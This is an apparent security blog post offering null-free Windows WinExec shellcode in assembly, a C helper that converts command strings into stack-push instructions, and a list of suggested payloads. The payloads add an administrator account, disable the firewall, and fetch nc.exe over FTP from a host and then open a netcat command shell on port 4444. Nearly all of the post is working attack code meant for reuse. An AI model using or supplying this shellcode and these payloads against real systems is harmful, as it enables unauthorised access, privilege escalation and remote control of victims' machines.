Null Free Windows WinExec Shellcode & Tool for generating Payload

Shellcode

Here is a shellcode that might run on most windows machines.

I adopted code from here:
http://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
so thanks to the author of that shellcode.

Instead of CreateProcess I use WinExec in this example.

; Filename: winexec.asm
; Author: Daniel Sauder
; Website: https://govolution.wordpress.com/
; License: http://creativecommons.org/licenses/by-sa/3.0/

BITS 32

global _start

_start:

xor ebx, ebx

;Find Kernel32 Base
mov edi, [fs:ebx+0x30]
mov edi, [edi+0x0c]
mov edi, [edi+0x1c]

module_loop:
mov eax, [edi+0x08]
mov esi, [edi+0x20]
mov edi, [edi]
cmp byte [esi+12], '3'
jne module_loop

; Kernel32 PE Header
mov edi, eax
add edi, [eax+0x3c]

; Kernel32 Export Directory Table
mov edx, [edi+0x78]
add edx, eax

; Kernel32 Name Pointers
mov edi, [edx+0x20]
add edi, eax

; Find WinExec
mov ebp, ebx
name_loop:
mov esi, [edi+ebp*4]
add esi, eax
inc ebp
cmp dword [esi],   0x456e6957 ;WinE
jne name_loop

; WinExec Ordinal
mov edi, [edx+0x24]
add edi, eax
mov bp, [edi+ebp*2]

; WinExec Address
mov edi, [edx+0x1C]
add edi, eax
mov edi, [edi+(ebp-1)*4] ;subtract ordinal base
add edi, eax

; Zero Memory
mov ecx, ebx
mov cl, 0xFF
zero_loop:
push ebx
loop zero_loop

; push payload here (notepad)
push 0x20646170
push 0x65746F6E

mov edx, esp

; call WinExec
inc ecx  ; ecx=1 show window, 0=hidden (simply comment out for that)
push ecx ; window mode
push edx ; command
call edi

Download from github here.

Generate Payload

Further I wrote a small tool for generating the payload:

/*
Filename: pushstack.c
Author: Daniel Sauder
Website: https://govolution.wordpress.com/
License: http://creativecommons.org/licenses/by-sa/3.0/

- generate asm code that pushes a given string on the stack in reverse order
- fill up with empty spaces if neccessary
*/

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
	if(argv[1]==NULL)
	{
		printf("usage: pushstack \"foo bar\"\n");
		return 0;
	}

	char *buf=argv[1];
	int l=strlen(buf);
	int x;

	// fill with spaces if neccessary
	int ll=4-(l%4);
	if (ll!=4)
	{
		printf("push 0x");
		for (x=0;x<ll;x++)
			printf("20");
	}

	// printf asm code to screen
	for (x=l; x>0; x--)
	{
		if ((x%4)==0) printf("push 0x");
		printf("%02X",buf[x-1]);
		if ((x%4)==1) printf("\n");

	}
	printf("\n");
	return 0;
}

Download from github here.

Example usage:

# ./pushstack notepad
push 0x20646170
push 0x65746F6E

Some ideas for payloads

Add a user and make him admin:
cmd /c net user x x /ADD & net localgroup Administrators x /ADD

Disable the firewall (on older Windows boxes):
cmd /c netsh firewall set opmode disable

Download a file by ftp and execute the file:
cmd /c echo open 192.168.2.102>x.ftp&echo user>>x.ftp&echo pass>>x.ftp&echo binary>>x.ftp&echo mget nc.exe>>x.ftp&echo disconnect>>x.ftp&echo quit>>x.ftp&ftp -i -s:x.ftp&nc -lvp 4444 -e cmd.exe

If you have null bytes in your payload you might need an encoder for the shellcode, like msfencode.